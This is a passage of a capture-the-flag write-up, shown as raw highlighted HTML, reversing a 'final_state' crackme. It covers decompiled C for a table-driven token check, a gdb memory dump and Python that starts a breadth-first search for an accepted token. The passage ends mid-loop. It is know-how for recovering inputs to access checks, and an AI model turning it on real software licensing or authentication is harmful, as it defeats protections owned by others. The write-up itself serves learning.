&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    data_406a28 &lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;= 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;38&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    data_40b254 &lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt; 9&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    data_40544c &lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;= 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;21&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    data_40835c &lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;= 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;10&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    data_4061fc &lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;= 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;2c&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    data_409a1c &lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;= 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;1b&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    data_407848 &lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;= 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;3f&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    data_40bf50 &lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;= 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;d&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    data_405c40 &lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;= 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;30&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    data_40a220 &lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt; 6&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    data_404e4c &lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;= 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;27&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    data_409074 &lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;= 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;33&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #D2A8FF;&quot;&gt;    printf&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt;&amp;quot;Token: &amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;…and the bulk of the processing occurs a little later:&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #E6EDF3; background-color: #0D1117;&quot;&gt;&lt;code data-lang=&quot;c&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;            label_40125d:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;                char&lt;&#x2F;span&gt;&lt;span&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span&gt; i)[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;88&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt; = &amp;amp;&lt;&#x2F;span&gt;&lt;span&gt;buf;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;                int64_t&lt;&#x2F;span&gt;&lt;span&gt; rax_3 &lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt; 7&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;                do&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;                {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;                    int64_t&lt;&#x2F;span&gt;&lt;span&gt; rdx_2 &lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;= *&lt;&#x2F;span&gt;&lt;span&gt;i;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;                    if&lt;&#x2F;span&gt;&lt;span&gt; (rdx_2 &lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt; 0&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;                        goto&lt;&#x2F;span&gt;&lt;span&gt; label_4012a4_2;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;                    i &lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;= &amp;amp;&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span&gt;i)[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;];&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;                    rax_3 &lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;= *&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;&amp;amp;&lt;&#x2F;span&gt;&lt;span&gt;data_404080 &lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span&gt; (((rax_3 &lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;&amp;lt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt; 7&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span&gt; rdx_2)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt; &amp;lt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt; 2&lt;&#x2F;span&gt;&lt;span&gt;));&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;                }&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt; while&lt;&#x2F;span&gt;&lt;span&gt; (i &lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;!= &amp;amp;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt;buf&lt;&#x2F;span&gt;&lt;span&gt;[rsi]);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Effectively, the binary implements a state machine: each character transitions
&lt;code&gt;state = table[state * 128 + char]&lt;&#x2F;code&gt;, starting at state &lt;code&gt;7&lt;&#x2F;code&gt;, accepting
&lt;code&gt;if final state == 0x33&lt;&#x2F;code&gt;:&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #E6EDF3; background-color: #0D1117;&quot;&gt;&lt;code data-lang=&quot;c&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;                if&lt;&#x2F;span&gt;&lt;span&gt; (rax_3 &lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;!= 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;33&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;                {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;                label_4012a4_2:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #D2A8FF;&quot;&gt;                    puts&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt;&amp;quot;ACCESS DENIED&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;                }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;                else&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #D2A8FF;&quot;&gt;                    puts&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt;&amp;quot;ACCESS GRANTED&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Using &lt;code&gt;gdb&lt;&#x2F;code&gt; to get the contents of that table post-population:&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #E6EDF3; background-color: #0D1117;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt;❯&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt; gdb .&#x2F;final_state&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt;GNU&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt; gdb&lt;&#x2F;span&gt;&lt;span&gt; (GDB;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt; SUSE&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt; Linux&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt; 16&lt;&#x2F;span&gt;&lt;span&gt;) 16.3&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt;…&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt;gdb&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt; break&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt; *&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt;0x555555555280&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt;Breakpoint&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt; 1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt; at&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt; 0x555555555280&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt;gdb&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt; run&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt;Starting&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt; program: &#x2F;home&#x2F;psypherpunk&#x2F;ctf&#x2F;metactf&#x2F;2026-05-may&#x2F;final_state&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;[Thread debugging using libthread_db enabled]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt;Using&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt; host libthread_db library &amp;quot;&#x2F;lib64&#x2F;libthread_db.so.1&amp;quot;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt;Token:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt; x&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt;Breakpoint&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt; 1,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt; 0x0000555555555280&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt; in ??&lt;&#x2F;span&gt;&lt;span&gt; ()&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt;Missing&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt; separate debuginfos, use: zypper install glibc-debuginfo-2.40-160099.9.1.x86_64&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt;gdb&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt; dump&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt; binary memory dump.bin&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt; 0x555555558080 0x555555568080&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt;gdb&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt; quit&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;…then parsing that &lt;code&gt;dump.bin&lt;&#x2F;code&gt;:&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #E6EDF3; background-color: #0D1117;&quot;&gt;&lt;code data-lang=&quot;python&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;&amp;gt;&amp;gt;&amp;gt; import&lt;&#x2F;span&gt;&lt;span&gt; struct&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;...&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;...&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt; with&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt; open&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt;&amp;quot;dump.bin&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt; &amp;quot;rb&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt; as&lt;&#x2F;span&gt;&lt;span&gt; f:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;...&lt;&#x2F;span&gt;&lt;span&gt;     data&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; f.read()&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;...&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;...&lt;&#x2F;span&gt;&lt;span&gt; table&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; {}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;...&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt; for&lt;&#x2F;span&gt;&lt;span&gt; i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt; in&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt; range&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt; len&lt;&#x2F;span&gt;&lt;span&gt;(data)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt; -&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt; 3&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt; 4&lt;&#x2F;span&gt;&lt;span&gt;):&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;...&lt;&#x2F;span&gt;&lt;span&gt;     val&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; struct.unpack_from(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt;&amp;quot;&amp;lt;i&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;, data, i)[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;...&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;     if&lt;&#x2F;span&gt;&lt;span&gt; val&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt; !=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt; 0&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;...&lt;&#x2F;span&gt;&lt;span&gt;         rax_idx&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt; &#x2F;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt; 4&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;...&lt;&#x2F;span&gt;&lt;span&gt;         char&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; rax_idx&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt; %&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt; 128&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;...&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;         if&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt; 32&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt; &amp;lt;=&lt;&#x2F;span&gt;&lt;span&gt; char&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt; &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt; 127&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;...&lt;&#x2F;span&gt;&lt;span&gt;             table[rax_idx]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; val&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;...&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Given that the table is functionally 2D, time to reach for a textbook
breadth-first search!&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #E6EDF3; background-color: #0D1117;&quot;&gt;&lt;code data-lang=&quot;python&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;&amp;gt;&amp;gt;&amp;gt; from&lt;&#x2F;span&gt;&lt;span&gt; collections&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt; import&lt;&#x2F;span&gt;&lt;span&gt; deque&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;...&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;...&lt;&#x2F;span&gt;&lt;span&gt; queue&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; deque([(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;7&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt; &amp;quot;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)])&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;...&lt;&#x2F;span&gt;&lt;span&gt; visited&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; {&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;7&lt;&#x2F;span&gt;&lt;span&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;...&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;...&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt; while&lt;&#x2F;span&gt;&lt;span&gt; queue:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;...&lt;&#x2F;span&gt;&lt;span&gt;     state, path&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; queue.popleft()&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;...&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;     for&lt;&#x2F;span&gt;&lt;span&gt; c&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt; in&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt; range&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;32&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt; 127&lt;&#x2F;span&gt;&lt;span&gt;):&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
